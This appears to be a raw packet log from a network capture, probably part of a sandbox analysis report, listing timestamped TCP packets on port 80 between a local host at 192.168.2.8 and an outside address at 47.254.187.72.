Jan 2, 2025 20:20:07.977788925 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.977788925 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.980361938 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.980375051 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.980391026 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.980401993 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.980413914 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.980441093 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.980501890 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.980660915 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.980705976 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.980717897 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.980753899 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.980766058 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.980773926 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.980773926 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.980773926 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.980835915 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.980837107 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.980897903 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.980907917 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.980961084 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.984467983 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.984488010 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.984499931 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.984512091 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.984546900 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.984564066 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.984617949 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.986375093 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.986387014 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.986399889 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.986411095 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.986453056 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.986515999 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.988121986 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.988135099 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.988146067 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.988157988 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.988193035 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.988601923 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.991352081 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.991365910 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.991378069 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.991388083 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.991452932 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.993736982 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.993748903 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.993767023 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.993777990 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.993788958 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.993808031 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.993849039 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.993849039 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.000534058 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.000550032 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.000560999 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.000571966 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.000583887 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.000597000 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.000649929 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.000649929 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.000649929 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.018526077 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.018538952 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.018551111 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.018563032 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.018574953 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.018585920 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.018598080 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.018610001 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.018670082 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.018681049 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.018692970 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.018704891 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.018716097 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.018724918 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.018724918 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.018727064 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.018738985 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.018748999 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.018762112 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.018771887 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.018771887 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.018773079 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.018804073 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.018963099 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.020121098 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.020173073 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.020184994 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.020195961 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.020231009 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.020231009 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.020505905 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.021043062 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.021054029 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.021065950 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.021075964 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.021086931 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.021096945 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.021107912 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.021135092 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.021135092 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.021188021 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.023279905 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.023298979 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.023318052 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.023339987 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.023339987 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.023339987 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.023353100 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.023391008 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.023391008 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.023391008 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.023885012 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.023895025 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.023941994 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.023952007 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.024000883 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.024030924 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.025810003 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.025823116 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.025834084 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.025845051 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.025877953 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.026066065 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.027596951 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.027609110 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.027620077 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.027628899 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.027645111 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.027659893 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.027678013 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.027709007 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.029583931 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.029596090 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.029608011 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.029618979 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.029649019 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.029789925 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.032721996 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.032763958 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.032773972 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.032784939 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.032795906 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.032886982 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.032959938 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.054318905 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.054692030 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.164144039 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.164158106 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.164170980 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.164374113 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.166609049 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.166621923 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.166635990 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.166652918 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.166672945 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.166831970 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.169118881 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.169202089 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.169220924 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.169231892 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.169265985 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.169291973 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.170876026 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.170888901 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.170901060 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.170916080 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.170927048 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.170953035 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.171062946 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.172502995 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.172513008 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.172583103 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.172595024 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.172605991 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.172615051 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.172641039 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.172667980 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.176167011 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.176187992 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.176198959 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.176209927 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.176224947 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.176229954 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.176238060 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.176309109 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.176309109 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.176414967 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.177958012 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.177969933 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.177979946 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.178057909 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.178057909 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.181477070 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.181555986 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.181561947 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.181569099 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.181587934 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.181617022 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.181770086 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.183068991 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.183088064 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.183098078 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.183141947 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.183151960 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.183152914 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.183195114 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.183260918 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.186614037 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.186630964 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.186642885 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.186654091 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.186681032 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.186755896 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.188321114 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.188333035 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.188344955 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.188357115 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.188366890 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.188429117 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.188646078 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.190026999 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.190037012 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.190089941 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.190128088 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.190145969 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.190152884 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.190157890 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.190176010 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.190217972 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.193439960 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.193453074 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.193464041 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.193559885 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.193559885 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.195481062 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.195492983 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.195506096 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.195523024 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.195533037 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.195595026 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.195621967 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.198643923 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.198658943 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.198673010 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.198685884 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.198781013 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.198781013 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.201257944 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.201277018 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.201288939 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.201303005 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.201387882 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.201551914 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.202775955 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.202791929 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.202804089 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.202816963 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.202851057 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.202985048 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.204659939 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.204688072 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.204699039 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.204716921 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.204722881 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.204745054 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.204745054 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.204798937 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.204798937 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.208230019 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.208250999 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.208262920 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.208275080 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.208297014 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.208389044 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.210163116 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.210175991 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.210187912 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.210199118 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.210263014 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.210459948 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.213538885 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.213551044 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.213563919 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.213574886 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.213603973 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.213704109 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.215127945 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.215140104 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.215152025 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.215162992 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.215173960 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.215193987 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.215332985 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.216911077 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.216926098 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.216943979 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.216954947 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.216967106 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.216995955 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.217338085 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.220416069 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.220427990 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.220444918 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.220458031 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.220468044 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.220494032 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.220593929 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.222042084 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.222054005 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.222064972 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.222084045 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.222094059 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.222105026 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.222120047 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.222152948 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.222218037 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.225595951 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.225653887 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.225665092 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.225677013 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.225725889 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.225835085 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.227226019 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.227236032 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.227256060 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.227272034 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.227300882 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.227300882 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.227417946 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.229055882 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.229069948 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.229082108 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.229091883 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.229101896 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.229136944 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.229269981 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.232521057 CET	80	49704	47.254.187.72	192.168.2.8
